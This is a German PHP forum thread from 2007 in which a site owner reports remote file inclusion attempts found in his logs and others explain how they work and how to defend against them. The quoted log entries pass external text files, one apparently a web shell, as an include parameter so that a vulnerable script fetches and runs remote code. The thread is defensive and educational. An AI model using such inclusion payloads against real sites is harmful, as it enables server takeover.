php.de

Zurück   php.de > Webentwicklung > PHP-Fortgeschrittene

PHP-Fortgeschrittene Arbeiten mit PHP ohne Einschränkungen

Antwort
 
LinkBack Themen-Optionen Thema bewerten
Alt 12.09.2007, 18:58  
Erfahrener Benutzer
 
Registriert seit: 14.07.2005
Beiträge: 118
saibot
Standard Spionageversuch? Code-Injection?

Hallo,

habe gerade in meiner Logfile was gefunden was ich irgendwie merkwürdig finde.

Mehrmals wurde meine Seite mit komischen Argumenten aufgerufen:

http://www. ... .de/index.php?site=http://n0ne.net/id.txt?

Die Variable site existiert ja wirklich auf meiner Seite. In der angegebenen Textfile befindet sich php-Code (hier).

Was würde dieser Code bewirken? Sieht doch sehr kryptisch aus

Wird der Inhalt solch einer Textdatei überhaupt in die Variable übernommen oder nur die Adresse?

Im Prinzip kann ja so jeder beliebige Code in mein PHP-Skript eingeschleust werden, vorausgesetzt ich überprüfe nicht alle Variablen vor der Verwendung auf Plausibilität.

Gibt es eine einfache Möglichkeit, sowas zu verhindern?
saibot ist offline   Mit Zitat antworten
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 12.09.2007, 19:43  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 9.937
Zergling-new wird schon bald berühmt werden
Standard

Blick da auch gerade nicht durch, sieht etwas sinnlos aus, kenn aber die Linux-Konsole nicht. Auf jeden Fall probiert er alles aus, was PHP an Funktionen hergibt, die direkt auf die Betriebssystem-Konsole zugreifen. Wahrscheinlich will er Infos über deinen Server sammeln um ihn dann später zu übernehmen.

Zitat:
Wird der Inhalt solch einer Textdatei überhaupt in die Variable übernommen oder nur die Adresse?
Er spekuliert darauf, dass du $_GET["site"] direkt mit require/include öffnest, dann hätte er den PHP-Code bei dir eingeschleust.

Ein Grund mehr zu verschleiern, dass die serverseitige Skriptsprache PHP ist und jede vom Client manipulierbare Variable gegenzuchecken.
Zergling-new ist offline   Mit Zitat antworten
Alt 12.09.2007, 20:08  
Erfahrener Benutzer
 
Registriert seit: 14.07.2005
Beiträge: 118
saibot
Standard

Hmm...ok, eine Variable ungeprüft als include einzubinden wäre auch etwas dämlich

Aber mal angenommen der Code würde im Klartext, halt in einer Zeile übergeben werden. D.h. meine Variable "site" hätte PHP-Code als Inhalt.

Würde es überhaupt eine Möglichkeit geben, dass der Code ausgeführt wird? Ich mein solang ich ihn als Argument an Funktionen z.B. zur Stringbearbeitung übergebe dürfte doch nichts passieren, oder?

Lediglich HTML-Code könnte bei der Ausgabe kritisch werden, oder MySQL-Operationen könnten missbraucht werden, aber wie PHP-Code ausgeführt werden sollte kann ich mir grad nicht vorstellen (ausser include oder require). Oder hab ich grad nen Blackout

Aber sowas würde doch auf jeden Fall Abhilfe schaffen oder?
PHP-Code:
$site strip_tags($_GET["site"]); 
saibot ist offline   Mit Zitat antworten
Alt 12.09.2007, 21:04  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 9.937
Zergling-new wird schon bald berühmt werden
Standard

Zitat:
Hmm...ok, eine Variable ungeprüft als include einzubinden wäre auch etwas dämlich
Ja, aber es klappt oft genug, sonst würde sich der Hacker nicht die Mühe machen.


PHP-Code wird nur bei include/require oder eval ausgeführt.
HTML-Code überall da, wo kein strip_tags(), htmlspecialchars() oder htmlentities() auf einen vom Client stammenden Input, der in die Website eingebunden wird, ausgeführt wurde.
Für MySQL-Werte verwendeter Input sollte mit mysql_real_escape_string() abgesichert werden und nicht nur mit addslashes().

Korrigiert mich, wenn ich eine Funktion oder Möglichkeit vergessen habe.
Natürlich ist Schadcodeausführung auch über PHP-Bugs möglich, darauf hat der Programmierer aber keinen Einfluß.
Zergling-new ist offline   Mit Zitat antworten
Alt 12.09.2007, 21:30  
Erfahrener Benutzer
 
Registriert seit: 14.07.2005
Beiträge: 118
saibot
Standard

Hmm, sollte meine Logdatei öfter anschauen. Sowas ähnliches gabs schonmal vor paar wochen. Damals aber von ner Russischen seite aus (oder so...)

http://badmus.by.ru/id.txt?

Ist wohl ein Zeichen dafür dass meine Seite in Google gut dabei ist. Ansonsten wüsste ich nicht wie diese Leute gerade auf eine kleine unbedeutende private Homepage kommen
saibot ist offline   Mit Zitat antworten
Alt 12.09.2007, 23:08  
Moderator und Wett-König
 
Benutzerbild von dr.e.
 
Registriert seit: 21.05.2008
Beiträge: 3.633
PHP-Kenntnisse:
Fortgeschritten
dr.e. ist ein Lichtblickdr.e. ist ein Lichtblickdr.e. ist ein Lichtblickdr.e. ist ein Lichtblickdr.e. ist ein Lichtblickdr.e. ist ein Lichtblick
dr.e. eine Nachricht über Skype™ schicken
Standard

Hallo saibot,

wie Zergling schon sagte funktioniert das oft genug und die Jungs versuchen nicht einfach nur deine Seite zu übernehmen, sondern denen geht es um die Maschine. Da sind shared hosting-Server ein recht beliebtes Ziel. Ist die Maschine einmal in deren Gewalt wird diese so modifiziert, dass diese beispielsweise zu einem Bot-Netzwerk oder einem DOS-Netzwerk zusammengefasst werden.
__________________
Viele Grüße,
Dr.E.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. Think about software design before you start to write code!
2. Discuss and review it together with experts!
3. Choose good tools (-> Adventure PHP Framework (APF))!
4. Write clean and reusable software only!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
dr.e. ist offline   Mit Zitat antworten
Alt 13.09.2007, 18:01  
Erfahrener Benutzer
 
Registriert seit: 14.07.2005
Beiträge: 118
saibot
Standard

Aha, so macht das ganze "Sinn". Naja..da bin ich doch mal froh dass ich mich nicht um den Server kümmern muss
saibot ist offline   Mit Zitat antworten
Alt 13.09.2007, 18:41  
Moderator
 
Benutzerbild von robo47
 
Registriert seit: 03.09.2004
Beiträge: 11.798
PHP-Kenntnisse:
Fortgeschritten
robo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblickrobo47 ist ein wunderbarer Anblick
Standard

Zitat:
Zitat von saibot
Hmm...ok, eine Variable ungeprüft als include einzubinden wäre auch etwas dämlich
Kommt gerade bei Anfängern oft genug vor und es gibt auch immer wieder Systeme die sowas aufgreifen. Hab auf meiner Seite sowas sehr regelmäßig mittlerweile in den Logs, obwohl sie in keinster form dynamische Parameter hat, das sind oftmals einfach nur Bots die alle möglichen seiten abklappern und es versuchen.
robo47 ist offline   Mit Zitat antworten
Alt 13.09.2007, 23:03  
Erfahrener Benutzer
 
Registriert seit: 14.07.2005
Beiträge: 118
saibot
Standard

Zitat:
Zitat von robo47
das sind oftmals einfach nur Bots die alle möglichen seiten abklappern und es versuchen.
Ja leider, der nächste war grad eben da: http://www.new-scam.com/r57.txt?

Der Code ist mächtig lang, hab ihn nicht ganz angeschaut, aber er verschickt u.a. Mails.

Darf man solche Links hier überhaupt rein stellen?
saibot ist offline   Mit Zitat antworten
Alt 13.09.2007, 23:17  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 9.937
Zergling-new wird schon bald berühmt werden
Standard

lol der hat sogar nen copyright
Zergling-new ist offline   Mit Zitat antworten
Antwort


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Probleme mit PHP Code HappyDieMuschel PHP Tipps 2008 7 28.05.2008 06:34
Design und Code Trennen TeazY PHP Tipps 2008 29 21.05.2008 12:08
Nur bestimmten Html Code zulassen? litterauspirna PHP Tipps 2008 5 29.04.2008 12:30
einfacher Code zum Einbinden von "Inhaltsbereichen" MaxDittmann PHP-Fortgeschrittene 6 01.10.2007 15:54
bb code in htm code wandeln janni PHP Tipps 2007 2 04.11.2005 22:36
JS Code in PHP Code?? HTML, Usability und Barrierefreiheit 12 08.08.2005 15:45
Seite 1/2/3..Code was haltet ihr davon? Matthiasnet PHP Tipps 2005-2 4 29.07.2005 20:29
[Erledigt] Lesbarkeit von Code Off-Topic Diskussionen 6 14.07.2005 14:48
code aus db mit eval replacen chief-thomson PHP Tipps 2005-2 4 08.07.2005 15:33
Bestätigungmail code? PHP Tipps 2005 7 16.05.2005 13:18
[Erledigt] BB Code entfernen PHP Tipps 2005 2 25.04.2005 15:20
code gesucht Beitragsarchiv 6 10.03.2005 03:14
[Erledigt] bb code innerhalb von bb code geht nicht PHP Tipps 2007 2 12.01.2005 17:29
Problem mit COde PHP Tipps 2004 5 28.08.2004 16:04

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
php code injection, code injection php, php include injection, code injection, spionageversuch, gegen spionageversuche, google code injection, code-injection, gegen software spionageversuche deutsch, code injection in php formular, r57 php, php codeinjection, was macht r57.php, php variable code injection, php code inject, sql injection, php code injenction, was ist code-injection php, spionage versuch auf mein, php code injection formular

Alle Zeitangaben in WEZ +1. Es ist jetzt 15:50 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.